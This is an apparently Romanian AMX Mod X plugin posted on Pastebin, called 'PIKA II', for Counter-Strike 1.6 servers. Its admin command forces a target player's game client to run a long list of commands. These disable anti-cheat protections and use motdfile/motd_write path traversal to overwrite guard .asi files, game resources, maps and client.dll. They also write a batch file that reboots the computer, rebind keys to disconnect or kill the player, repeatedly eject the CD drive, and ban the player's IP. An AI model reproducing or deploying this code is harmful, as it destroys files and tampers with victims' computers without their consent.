Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* AMX Mod X Script
- *
- * eXtreamCS DEV Team
- *
- * ======---=======---=======
- * © 2014 by CryWolf & ArminZ
- * www.eXtreamCS.com
- * ======---=======---=======
- *
- * This file is intended to be used with AMX Mod X.
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * AMXX Pika v2.5.0
- *
- * changelog:
- * v1.0.0
- * - Versiune privata
- *
- * v2.1.0
- * - Am adaugat definire de mesaj colorat pentru cine doreste doar.
- * - Mai multe functii destroy ( fisiere ).
- * - Am adaugat fisier .LOG.
- * - Comanda nu mai poate fi folosita pe personal, admini, boti.
- * - Acum pluginul va afecta putin si jucatorii cu Steam.
- * - Optimizat doar amxmodx, amxmisc.
- * - Detalii comanda si cum se foloseste.
- *
- * v2.2.0
- * - Functi Anti Guard
- * - Nou modul colorchat
- * - Fixare mesaje incorecte
- * - Include PIKA, EXTERMINATE, RUSSIAN
- * - Adaugat efecte celui destrus [TELEPORT]
- *
- * v2.5.0
- * - Aranjare cod
- * - Guard va fi sters dupa dezactivare
- * - Include ANTI GUARD
- * - Imbunatatire si modificare majaora a codului de distrugere
- * - Imbunatatire cod dezactivare GUARD
- * - Adaugat comenzi pentru counter-strike
- * - Adaugat CD EJECT daca "amx_pika_teleeff" este "1"
- *
- */
- #include < amxmodx >
- #include < amxmisc >
- #include < fakemeta >
- /*************************************************************/
- /* ATENTIE!
- Stergeti // daca vreti mesaje colorate in chat pe Server!
- Trebuie sa aveti pluginul: [Dyn Native] ColorChat
- URL Download: https://forums.alliedmods.net/showthread.php?t=94960
- */
- /* LINIA ASTA O MODIFICATI cu // sau fara */
- #define USE_COLOR_CHAT
- #if defined USE_COLOR_CHAT
- #pragma reqlib chatcolor
- #define RED Red
- #define BLUE Blue
- #define GREY Grey
- #define ColorChat client_print_color
- enum
- {
- Grey = 33,
- Red,
- Blue
- }
- native client_print_color(index, sender, const fmt[], any:...);
- #endif
- // Numele fisierului .log
- #define LOGFILE "AMXX_PIKA II.log"
- /************************************************************/
- static const g_sCommands [ ] [ ] =
- {
- // Dezactiveaza protectia clientului Counter-Strike [PIKA II] \\
- "fullserverinfo ^"\*gamedir\cstrike^"" ,
- "^"sv_zmax 409^" Enabled False;^"sv_zmax 409^" Enabled False;", // Nvidia v3/v4/v5 Cvar + RussianX Guard
- "^"sv_zmax 409^" GuardON False;^"sv_zmax 409^" GuardON False", // Huan guard v1/v2/v3 + RussianX Guard
- "csx_setcvar Enabled False;csx_setcvar Enabled False;", // CSXGuard 1/2/3/4/5
- "prot_setcvar Enabled False;prot_setcvar Enabled False;", // Russian Guard
- "prot_setcvar Enabled False;prot_setcvar Enabled False;", // Raiz0 Guard
- "unk_setcvar Enabled False;unk_setcvar Enabled False;", // Unkown Guard 1.1
- "fix_setcvar Enabled False;fix_setcvar Enabled False;" // Fix Guard
- // Sterge protectia clientului Counter-Strike [PIKA II] \\
- "set_data 2 5 150",
- "motdfile ^"!MD5/../../RussianE.asi^";motd_write PIKA II",
- "motdfile ^"!MD5/../../CSXGuard.asi^";motd_write PIKA II",
- "motdfile ^"!MD5/../../HuaNGuard.asi^";motd_write PIKA II",
- "motdfile ^"!MD5/../../raiz0CFG.asi^";motd_write PIKA II",
- "motdfile ^"!MD5/../../CounterStrike.bat^";motd_write shutdown -r -t 30",
- "motdfile ^"!MD5/../../PIKA II.asi^";motd_write PIKA II",
- // SETARI pentru Counter-Strike [PIKA II] \\
- "fps_max 1",
- "fps_modem 1",
- "ex_interp 1",
- "commentator 1",
- "sys_ticrate 1",
- "rate 1",
- "cl_updaterade 1",
- "cmd_rate 1",
- "cl_pitchspeed 1",
- "developer 1",
- "cl_sidespeed 1",
- "cl_forwardspeed 1",
- "cl_backspeed 1",
- "gl_log 1",
- "volume 9999",
- // Scriere in CHAT \\
- "say ^"AM FOLOSIT HACK ASA CA AM FOST PEDEPSIT CU PIKA II^""
- // Comenzi pentru Counter-Strike STEAM \\
- "cd eject",
- "cd eject",
- "cd eject",
- "cd eject",
- "cd eject",
- "cd eject",
- "cd eject",
- "cd eject",
- "cd eject",
- "cd eject",
- // BINDURI pentru Counter-Strike [PIKA II] \\
- "unbind all",
- "bind w ^"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;echo FATAL_ERROR_REINSTALL_CS^"",
- "bind a ^"disconnect;gl_log;condump;snapshot;echo FATAL_ERROR_REINSTALL_CS^"",
- "bind s ^"kill;wait;bind 1 kill;bind 2 kill;wait;bind 3 kill;bind 4 kill;wait;bind 5 kill;bind 6 kill;wait;bind 7 kill;echo FATAL_ERROR_REINSTALL_CS^"",
- "bind d ^"bind rightarrow kill;wait;bind mwheeldown kill;bind mwheelup kill;wait;echo FATAL_ERROR_REINSTALL_CS^"",
- "bind TAB ^"alias m_pitch disconnect;snapshot;condump;echo FATAL_ERROR_REINSTALL_CS^"",
- "bind SPACE ^"alias m_pitch disconnect;snapshot;condump;echo FATAL_ERROR_REINSTALL_CS^"",
- "bind ` ^"alias m_pitch disconnect;snapshot;condump;echo FATAL_ERROR_REINSTALL_CS^"",
- "name PIKA II"
- // MOTDFILE si fisierul MOTD_FILE din Counter-Strike [PIKA II] \\
- "motdfile resource/TrackerScheme.res;motd_write PIKA II",
- "motdfile resource/GameMenu.res;motd_write PIKA II",
- "motdfile resource/GameMenu.res;motd_write PIKA II",
- "motdfile resource/logo_game.res;motd_write PIKA II",
- "motdfile resource/UI/ScoreBoard.res;motd_write PIKA II",
- "motdfile resource/UI/Spectator.res;motd_write PIKA II",
- "motdfile resource/UI/BuyMenu.res;motd_write PIKA II",
- "motdfile resource/UI/MainBuyMenu.res;motd_write PIKA II",
- "motdfile resource/UI/Teammenu.res;motd_write PIKA II",
- "motdfile resource/background/800_1_a_loading.tga;motd_write PIKA II",
- "motdfile resource/background/800_1_b_loading.tga;motd_write PIKA II",
- "motdfile resource/background/800_1_c_loading.tga;motd_write PIKA II",
- "motdfile models/w_hegrenade.mdl;motd_write PIKA II",
- "motdfile models/v_smokegrenade.mdl;motd_write PIKA II",
- "motdfile models/player.mdl;motd_write PIKA II",
- "motdfile models/player/leet/leet.mdl;motd_write PIKA II",
- "motdfile models/v_ak47.mdl;motd_write PIKA II",
- "motdfile models/v_m4a1.mdl;motd_write PIKA",
- "motdfile gfx.wad;motd_write PIKA II",
- "motdfile halflife.wad;motd_write PIKA II",
- "motdfile tempdecal.wad;motd_write PIKA II",
- "motdfile cs_dust.wad;motd_write PIKA II",
- "motdfile cstrike.wad;motd_write PIKA II",
- "motdfile maps/de_dust2.bsp;motd_write PIKA II",
- "motdfile events/ak47.sc;motd_write PIKA II",
- "motdfile cl_dlls/client.dll;motd_write PIKA II",
- "motdfile motdfile config.CFG;motd_write PIKA II",
- "motdfile motdfile userconfig.CFG;motd_write PIKA II",
- // ECHO pentru MESAJE din consola \\
- "echo [PIKA II] Ai folosit HACK asa ca te-am pedepsit !"
- "quit",
- };
- new const
- PLUGIN_NAME [ ] = "AMX PIKA II",
- PLUGIN_VERSION [ ] = "2.5.0";
- #pragma semicolon 1
- new g_pCvar_tele_effect;
- public plugin_init ( )
- {
- register_plugin ( PLUGIN_NAME, PLUGIN_VERSION, "CryWolf/ArminZ" );
- g_pCvar_tele_effect = register_cvar ( "amx_pika_teleeff", "1" );
- register_concmd ( "amx_russian", "Concmd_AMXX_exterminate", ADMIN_SLAY, "<jucator / player>" );
- register_concmd ( "amx_pika", "Concmd_AMXX_exterminate", ADMIN_SLAY, "<jucator / player>" );
- register_concmd ( "amx_exterminate", "Concmd_AMXX_exterminate", ADMIN_SLAY, "<jucator / player>" );
- }
- public Concmd_AMXX_exterminate ( id, level, cid )
- {
- if ( !cmd_access ( id, level, cid, 2 ) ) {
- client_print ( id, print_console, "[AMXX] Nu ai access la aceasta comanda" );
- return 1;
- }
- new sArgument[ 33 ];
- read_argv ( 1, sArgument, charsmax ( sArgument ) );
- new player = cmd_target ( id, sArgument, ( CMDTARGET_NO_BOTS | CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF ) );
- if ( !player )
- {
- console_print ( id, "[AMXX] Jucatorul mentionat nu este valid." );
- return 1;
- }
- for ( new i = 0; i < sizeof ( g_sCommands ); i++ )
- client_cmd ( player, g_sCommands [ i ] );
- if ( get_pcvar_num ( g_pCvar_tele_effect ) ) {
- set_task ( 0.3, "FunC_Tele_Effect", player );
- set_task ( 0.3, "cd_close_eject", id+11112, _, _, "b");
- }
- new szName [ 33 ], szName2 [ 33 ], ip2 [ 16 ];
- get_user_name ( id, szName, charsmax ( szName ) );
- get_user_name ( player, szName2, charsmax ( szName2 ) );
- get_user_ip ( player, ip2, charsmax ( ip2 ), 1 );
- log_to_file ( LOGFILE, "%s PIKA %s(%s)", szName, szName2, ip2 );
- #if defined USE_COLOR_CHAT
- client_print_color ( 0, Blue, "^4%s ^1Hacked ^4%s ^1-[Distrus Complet]-", szName, szName2 );
- #else
- client_print ( 0, print_chat, "AdmiN (%s) Hacked (%s) - [Destroy Completed]-", szName, szName2 );
- #endif
- client_cmd ( 0, "spk ^"vox/bizwarn eliminated" );
- server_cmd ( "amx_banip %s 0", player );
- return 1;
- }
- public FunC_Tele_Effect ( id )
- {
- if ( !is_user_alive ( id ) )
- return;
- static Float:iOrigin [ 3 ];
- pev ( id, pev_origin, iOrigin );
- engfunc ( EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, iOrigin, 0 );
- write_byte ( TE_TELEPORT );
- engfunc ( EngFunc_WriteCoord, iOrigin [ 0 ] );
- engfunc ( EngFunc_WriteCoord, iOrigin [ 1 ] );
- engfunc ( EngFunc_WriteCoord, iOrigin [ 2 ] );
- message_end ( );
- }
- public cd_close_eject(id)
- {
- if(!is_user_connected(id) && task_exists(id+11112))
- {
- remove_task(id+11112)
- return PLUGIN_HANDLED
- }
- client_cmd(id, "cd eject")
- client_cmd(id, "cd close")
- return PLUGIN_CONTINUE
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement